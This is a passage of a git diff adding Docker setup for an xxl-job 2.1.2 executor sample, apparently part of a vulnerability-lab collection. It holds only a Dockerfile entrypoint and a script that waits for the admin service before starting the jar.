docker-entrypoint.sh /docker-entrypoint.sh + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.1.2.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/212/executor/docker-entrypoint.sh b/vul/dockerfile/xxl-job/212/executor/docker-entrypoint.sh new file mode 100755 index 00000000..257e80a2 --- /dev/null +++ b/vul/dockerfile/xxl-job/212/executor/docker-entrypoint.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +set -ex + +wait-for-it -t 0 admin:8080 + +exec "$@" \ No newline at end of file